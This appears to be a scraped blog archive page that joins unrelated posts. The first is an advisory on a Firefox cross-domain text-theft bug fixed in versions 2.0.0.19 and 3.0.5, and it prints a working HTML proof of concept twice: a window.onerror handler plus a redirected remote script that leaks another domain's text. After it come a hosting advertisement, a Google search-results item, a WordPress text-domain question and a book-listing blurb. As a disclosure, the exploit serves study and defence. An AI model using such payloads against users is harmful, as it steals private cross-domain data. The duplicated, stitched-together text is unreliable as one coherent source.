Wednesday, January 26, 2011
Monday, January 24, 2011
Sunday, January 23, 2011
Firefox Cross-Domain Text Theft
Firefoxes 2.0.0.19 and 3.0.5 fix a cross-domain theft of textual data. The theft is via cross-domain information leaks in JavaScript error messages for scripts executed via <script src="remote_domain.org">. The JavaScript error messages are made available to the window.onerror handler. In some cases, JavaScript error messages can contain pieces of text from the remote domain as part of the error message, e.g. "blah is not defined". This permits certain textual constructs to be stolen cross-domain.
The broader issue was fixed in Firefox 3.0. However this fix was not complete. The fix could be dodged by using another instance of the "302 redirect trick". It was possible to cause the browser to believe a remote script was in fact local, and therefore continue to reveal JavaScript error messages.
Proof of concept:
<html>
<body>
You should see an alert box containing a (potentially) sensitive many-bits
hex string stolen cross-domain.
<script>
window.onerror = function(message, uri, line) {
var fullMessage = message + "\n at " + uri + ": " + line;
alert(fullMessage);
return false;
}
</script>
<script src="../redir?url=http://vsftpd.beasts.org/steal_me/hex.txt">
</script>
</body>
</html>
The broader issue was fixed in Firefox 3.0. However this fix was not complete. The fix could be dodged by using another instance of the "302 redirect trick". It was possible to cause the browser to believe a remote script was in fact local, and therefore continue to reveal JavaScript error messages.
Proof of concept:
<html>
<body>
You should see an alert box containing a (potentially) sensitive many-bits
hex string stolen cross-domain.
<script>
window.onerror = function(message, uri, line) {
var fullMessage = message + "\n at " + uri + ": " + line;
alert(fullMessage);
return false;
}
</script>
<script src="../redir?url=http://vsftpd.beasts.org/steal_me/hex.txt">
</script>
</body>
</html>
Web Hosting
OSTPL Web Hosting, the full service division of OSTPL e-Business, Bangalore , India , offers premium Web site hosting services that are totally secure, extremely reliable and completely scalable, besides being cheap and affordable. Led by top-notch professionals, OSTPL Web Hosting in Bangalore , India integrates latest Internet technology with your business strategies & operations, mission-critical services and unbeatable client support to help you reach out to a global audience and attain optimum growth. We offer a complete range of managed Website hosting services, dedicated Website hosting services and shared Website hosting services and applications,
What we offer:
OSTPL Web Hosting has expertise in following domains as a leading provider of web site hosting
OSTPL Web Hosting has expertise in following domains as a leading provider of web site hosting
|
Google now lists more results from the same domain
According to its Webmaster Central Blog, Google made a major update on its search algorithm: the search engine can now list more search results from the same domain within the top 10 Search Engine Results Page (SERP).
Previously, Google limited to two the number of search results from the same domain to preserve relevance and diversity of results on a single search result page.
This method provided the best answers to users for most queries. However, for specific queries, the old algorithm didn't work very well, especially when the user was clearly interested in a particular website.
Now, Google will list more results from the same domain (even eight out of the first ten results!), so that users can find exactly what they want. There will be still a few results from other websites in order to preserve diversity.
From a SEO point of view, this is good news. If your website is well optimized, it means that you will have more pages displayed within the SERP. However, the feature will concern only specific queries, so the changes are quite minor.
Text-domain
I'm having a little problem understanding the difference between the language files in: wp-includes/languages and the language files in /wp-content/themes/my_theme.
Further I have a message in the "Language locale settings" saying: " Theme localization is not enabled because you didn't enter a text-domain."
What is a text-domain, can someone give me an example?
http://domainvideo.blogspot.com/
"When the theme was created, the texts were wrapped in gettext calls. Each call includes two arguments – the string that needs to be translated and a second argument called the text-domain. This second argument identifies all the texts in the theme as belonging to it. You need to enter this value in the text domain field, so that WPML can load the translation file and assign it to the theme."
BOOK LISTINGS
Our local index includes more than a million works in various formats that meet these criteria. (Over 40,000 are in our "curated collection", representing entries we've personally edited. The rest are in our "extended shelves", entries that are provided by other organizations and imported in bulk.) All of the books we list should be free for personal, noncommercial use. You can:
In the listings, you can start reading a book by clicking on or selecting its title (or on the phrase that describes where it is, if you're looking at a detailed book description, or at a listing that has multiple links).You can also select the icon at the start of a book listing to find out more about a particular book, find other books with the same author, title, or subject, or find out how to make a stable link to the detailed book description. (A book on the extended shelves has a icon instead. You can select that icon to see more information about the book, and request a stable link in the curated collection.)
Thursday, January 20, 2011
Wednesday, January 19, 2011
Subscribe to:
Posts (Atom)